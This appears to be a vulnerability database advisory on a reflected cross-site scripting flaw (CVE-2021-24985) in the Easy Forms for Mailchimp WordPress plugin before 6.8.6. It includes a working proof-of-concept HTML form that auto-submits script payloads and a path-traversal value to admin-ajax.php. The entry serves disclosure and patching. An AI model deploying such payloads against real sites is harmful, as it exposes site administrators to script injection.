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How it worksPricing
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For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Easy Forms for Mailchimp < 6.8.6 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the field_name and field_type parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting issues

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" id="hack" method="POST">
      <input type="hidden" name="action" value="add_field_to_form" />
      <input type="hidden" name="field_name" value='xxxxxxxxxxxx"><script>alert(/XSS-field_name/)</script>' />
      <input type="hidden" name="field_type" value='"><script>alert(/XSS-field_type/)</script>' />
      <input type="hidden" name="list_id" value="../../../../../" />
      <input type="submit" value="Submit request" />
    </form>
  </body>

  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>
 

Affects Plugins

yikes-inc-easy-mailchimp-extender
Fixed in version 6.8.6

References

CVE
CVE-2021-24985
URL
https://plugins.trac.wordpress.org/changeset/2646017

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

ZhongFu Su(JrXnm) of Wuhan University

Submitter

ZhongFu Su(JrXnm) of Wuhan University

Submitter website
https://blog.szfszf.top
Submitter twitter
JrXnm
Verified

Yes

WPVDB ID
50be0ebf-fe6d-41e5-8af9-0d74f33aeb57

Timeline

Publicly Published

2021-12-21 (about 1 years ago)

Added

2021-12-21 (about 1 years ago)

Last Updated

2022-09-26 (about 4 months ago)

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